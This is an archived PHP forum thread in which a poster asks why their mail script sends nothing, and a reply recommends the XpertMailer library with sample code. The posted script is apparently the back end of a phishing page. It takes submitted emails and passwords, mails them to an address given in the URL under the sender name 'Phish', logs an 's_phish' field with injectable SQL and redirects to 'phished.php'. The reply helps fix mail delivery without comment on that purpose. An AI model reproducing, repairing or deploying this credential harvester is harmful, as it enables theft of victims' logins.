Jump to content

Php Mail not working


Vivid Lust

Recommended Posts

Ok, this is really starting to annoy me. This script just isnt sending any emails at all!!

 

The email account shown has been set up.

The GET does get the correct values

 

<?php
        require("includes/db.php");
$e = $_GET['e'];
$n = $_GET['n'];
$email = $_POST['email'];
$pass = $_POST['pass']; 


	$sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )";
$query=mysql_query($sql2, $link)
or die(mysql_error());

$msg = "Email/name:".$email."      Password: ".$pass." ";

//define the receiver of the email
//$to = $e;
//$r = "[email protected]";
//define the subject of the email
//$subject = 'An Email';
//define the message to be sent. Each line should be separated with \n
//$message = $msg;
//define the headers we want passed. Note that they are separated with \r\n
//$headers = "From: [email protected]\r\nReply-To: [email protected]";
//send the email
//mail($e, $subject, $message, $headers, "-f$f");

//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" 
$Name = "Phish"; //senders name
$email = "[email protected]"; //senders e-mail adress
$recipient = $e; //recipient
$mail_body = "Email/name:".$email."      Password: ".$pass." "; //mail body
$subject = "An Email"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command 

header("Location:phished.php?n=".$n."");

?>

 

Help very much appreciated

Link to comment
https://forums.phpfreaks.com/topic/125102-php-mail-not-working/
Share on other sites

ok you need to contact the hosting company about relaying from PHP.

 

and I recommend to people to use this free PHP mailer over the built in

http://www.xpertmailer.com/

this will give you better control over the mail server connection if they require authentication

 

here is a code snippet to help you jump start into xpertmailer

note you need to copy xpertmailer into a folder and change the require_once


	//----------------------------
	// send email
	//----------------------------
	require_once $_SERVER['DOCUMENT_ROOT'].'/xpmailer4/MAIL.php';


		$subject = 'Subject Here';
		$mail = new MAIL;
		if ($mail) {

			//normal port is 25 but, use port 26 for smtp on bluehost
			if ($c = $mail->Connect('localhost',26))
			{	
				$mail->From('[email protected]');
				$mail->AddTo($sendto);
				if (strlen($sendcc)) {
					$mail->AddCc($sendcc);
				}
				if ($sendto != '[email protected]') {
					$mail->AddBcc('[email protected]');
				}
				$mail->html($msgBody,'utf-8','8bit','inline');
				$mail->Subject($subject);
				if (!$mail->Send($c)) {
					$errorMsg = "Email - Send Error - ".print_r($mail->Result,true);
					echo "<hr>{$errorMsg}<hr>";
				} else {
					//Email Sent
					echo "<hr>Email - Sent<hr>";
				}
			} else {
					$errorMsg =  "Email - Connect Error<br>".print_r($mail->Result,true);
					echo "<hr>{$errorMsg}<hr>";
			}
		}

Link to comment
https://forums.phpfreaks.com/topic/125102-php-mail-not-working/#findComment-646579
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.